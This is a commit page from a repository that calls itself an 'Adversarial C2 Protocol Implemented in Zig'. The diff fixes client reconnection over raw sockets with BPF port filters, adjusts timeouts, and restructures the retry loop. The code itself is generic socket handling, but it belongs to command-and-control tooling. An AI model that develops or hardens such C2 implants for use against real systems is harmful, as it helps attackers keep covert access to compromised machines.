Adversarial C2 Protocol Implemented in Zig
0
fork

Configure Feed

Select the types of activity you want to include in your feed.

Fix reconnection

Was failing to reconnect due to trying to reuse the same socket that
already had a BPF filter on it.

+20 -15
+4 -1
src/Client.zig
··· 92 92 }; 93 93 94 94 log.debug("Setting bpf filter to port {}", .{connection.connection.src}); 95 - try self.socket.attachSaprusPortFilter(connection.connection.src); 95 + self.socket.attachSaprusPortFilter(connection.connection.src) catch |err| { 96 + log.err("Failed to set port filter: {t}", .{err}); 97 + return err; 98 + }; 96 99 log.debug("bpf set", .{}); 97 100 98 101 var connection_buf: [2048]u8 = undefined;
-4
src/Connection.zig
··· 12 12 }; 13 13 } 14 14 15 - pub fn deinit(self: *Connection) void { 16 - self.socket.deinit(); 17 - } 18 - 19 15 pub fn next(self: Connection, io: Io, buf: []u8) ![]const u8 { 20 16 _ = io; 21 17 log.debug("Awaiting connection message", .{});
+3 -1
src/RawSocket.zig
··· 1 1 const RawSocket = @This(); 2 2 3 + const is_debug = builtin.mode == .Debug; 4 + 3 5 fd: i32, 4 6 sockaddr_ll: std.posix.sockaddr.ll, 5 7 mac: [6]u8, ··· 70 72 const bind_ret = std.os.linux.bind(socket, @ptrCast(&sockaddr_ll), @sizeOf(@TypeOf(sockaddr_ll))); 71 73 if (bind_ret != 0) return error.BindError; 72 74 73 - const timeout: std.os.linux.timeval = .{ .sec = 600, .usec = 0 }; 75 + const timeout: std.os.linux.timeval = .{ .sec = 60 * if (is_debug) 1 else 10, .usec = 0 }; 74 76 const timeout_ret = std.os.linux.setsockopt(socket, std.os.linux.SOL.SOCKET, std.os.linux.SO.RCVTIMEO, @ptrCast(&timeout), @sizeOf(@TypeOf(timeout))); 75 77 if (timeout_ret != 0) return error.SetTimeoutError; 76 78
-1
src/c_api.zig
··· 57 57 export fn zaprus_deinit_connection(connection: ?*ZaprusConnection) void { 58 58 const c: ?*zaprus.Connection = @ptrCast(@alignCast(connection)); 59 59 if (c) |zc| { 60 - zc.deinit(); 61 60 alloc.destroy(zc); 62 61 } 63 62 }
+13 -8
src/main.zig
··· 1 + const is_debug = builtin.mode == .Debug; 2 + 1 3 const help = 2 4 \\-h, --help Display this help and exit. 3 5 \\-r, --relay <str> A relay message to send. ··· 82 84 return error.InvalidArguments; 83 85 } 84 86 85 - var client = try SaprusClient.init(); 86 - defer client.deinit(); 87 + var client: SaprusClient = undefined; 87 88 88 89 if (flags.relay != null) { 90 + client = try .init(); 91 + defer client.deinit(); 89 92 var chunk_writer_buf: [2048]u8 = undefined; 90 93 var chunk_writer: Writer = .fixed(&chunk_writer_buf); 91 94 if (flags.relay.?.len > 0) { ··· 124 127 return; 125 128 } 126 129 127 - var retry_seconds: u16 = 120; 130 + var retry_seconds: u16 = 12 * if (is_debug) 1 else 10; 131 + 132 + var init_con_buf: [SaprusClient.max_payload_len]u8 = undefined; 133 + var w: Writer = .fixed(&init_con_buf); 134 + try w.print("{b64}", .{flags.connect.?}); 128 135 129 136 if (flags.connect != null) { 130 137 reconnect: while (true) { 138 + client = try .init(); 139 + defer client.deinit(); 131 140 log.debug("Starting connection", .{}); 132 141 133 - var init_con_buf: [SaprusClient.max_payload_len]u8 = undefined; 134 - var w: Writer = .fixed(&init_con_buf); 135 - try w.print("{b64}", .{flags.connect.?}); 136 142 var connection = client.connect(init.io, w.buffered()) catch { 137 143 try init.io.sleep(.fromSeconds(retry_seconds), .boot); 138 144 continue; 139 145 }; 140 - defer connection.deinit(); 141 146 142 - retry_seconds = 600; 147 + retry_seconds = 60 * if (is_debug) 1 else 10; 143 148 144 149 log.debug("Connection started", .{}); 145 150